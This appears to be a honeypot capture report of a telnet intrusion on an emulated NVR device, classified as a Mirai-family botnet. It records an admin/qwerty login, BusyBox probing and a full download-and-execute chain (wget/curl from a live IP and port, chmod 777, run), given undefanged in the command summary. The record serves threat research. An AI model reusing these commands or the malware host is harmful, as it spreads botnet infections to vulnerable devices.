HoneyMire Hub

Attack #837636 telnet

Captured 2026-09-27 21:48:27Z by Ka on honeypot LU1 C3 🟡 C3 SuperMini · firmware 1.1.0.

Session recording

Transcript

Server output and attacker input as captured, line-grain. Malware URLs are obscured until sign-in.

Welcome to HiLinux (NVR Box)

hilinux-nvrbox login: admin

Password: qwerty

BusyBox v1.20.2 (2015-04-01 10:23:44 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

hilinux-nvrbox# start
sh: start: not found
hilinux-nvrbox# enable
sh: enable: not found
hilinux-nvrbox# config terminal
sh: config: not found
hilinux-nvrbox# system
sh: system: not found
hilinux-nvrbox# linuxshell
sh: linuxshell: not found
hilinux-nvrbox# su
sh: su: not found
hilinux-nvrbox# shell
sh: shell: not found
hilinux-nvrbox# sh
hilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x56\x49\x49\x42\x59\x4c'
sh: can't create /usr/.x: nonexistent directory
VIIBYL
hilinux-nvrbox# /bin/busybox wget;/bin/busybox echo -ne '\x56\x49\x49\x42\x59\x4c'
BusyBox v1.20.2 (2015-04-01 10:23:44 CST) multi-call binary.

Usage: wget [-cq] [-O FILE] [--header 'HEADER: VALUE'] URL
VIIBYLhilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget hxxp://177[.]71[.]55[.]138:43846/i ||curl -O hxxp://177[.]71[.]55[.]138:43846/i ||/bin/busybox wget hxxp://177[.]71[.]55[.]138:43846/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x56\x4c\x4d\x42\x4c\x50\x47\x45'
sh: can't create /usr/.x: nonexistent directory
Connecting to 177.71.55.138:43846 (177.71.55.138:43846)
saving to 'i'
i                   100% |*******************************| 1234k  0:00:01 ETA
'i' saved
sh: ./i: not found
VLMBLPGE
hilinux-nvrbox# 

Credentials

Username: admin

Password: qwerty

1 login attempt(s) before disconnect.

Geolocation hub-resolved

🇧🇾Belarus · Minsk City · Minsk

Republican Unitary Telecommunication Enterprise Beltelecom · AS6697 Republican Unitary Telecommunication Enterprise Beltelecom · 53.90,27.56

Network: isp · Beltelecom · NSP · peeringdb · medium confidence

Behavioral classification

🦠 95% confidence

Mirai-family IoT botnet — wget + chmod + exec; tries common router/IP-cam credentials.

Matched signals:

• wget/curl download
• chmod/exec chain
• BusyBox probing

Command summary

start
enable
config terminal
system
linuxshell
su
shell
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x56\x49\x49\x42\x59\x4c'
/bin/busybox wget;/bin/busybox echo -ne '\x56\x49\x49\x42\x59\x4c'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://177.71.55.138:43846/i ||curl -O http://177.71.55.138:43846/i ||/bin/busybox wget http://177.71.55.138:43846/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x56\x4c\x4d\x42\x4c\x50\x47\x45'

Reported to threat intel

none